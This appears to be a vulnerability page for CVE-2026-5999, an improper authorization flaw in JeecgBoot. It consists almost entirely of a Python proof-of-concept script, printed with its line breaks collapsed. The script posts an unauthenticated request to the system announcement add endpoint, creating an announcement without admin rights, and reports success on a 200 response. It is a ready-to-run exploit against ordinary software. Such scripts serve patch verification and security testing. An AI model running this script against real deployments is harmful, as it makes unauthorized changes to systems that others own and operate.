CVE-2026-5999 JeecgBoot不当授权漏洞

import requests def check_vuln(target_url): """ PoC for CVE-2026-5999 JeecgBoot Improper Authorization Attempts to access a restricted endpoint in SysAnnouncementController """ session = requests.Session() # Target endpoint (example based on typical JeecgBoot structure) # Attackers might attempt to add or edit an announcement without admin rights endpoint = "/sys/annountCement/add" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } # Malicious payload attempting to create an announcement payload = { "titile": "Security Test", "msgContent": "CVE-2026-5999 PoC Execution", "startTime": "2026-01-01", "endTime": "2026-12-31" } try: # Sending request without valid admin session cookie or token # In a real scenario, the attacker might use a low-priv token response = session.post(target_url + endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected! Status: {response.status_code}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target URL url = "http://127.0.0.1:8080/jeecg-boot" check_vuln(url)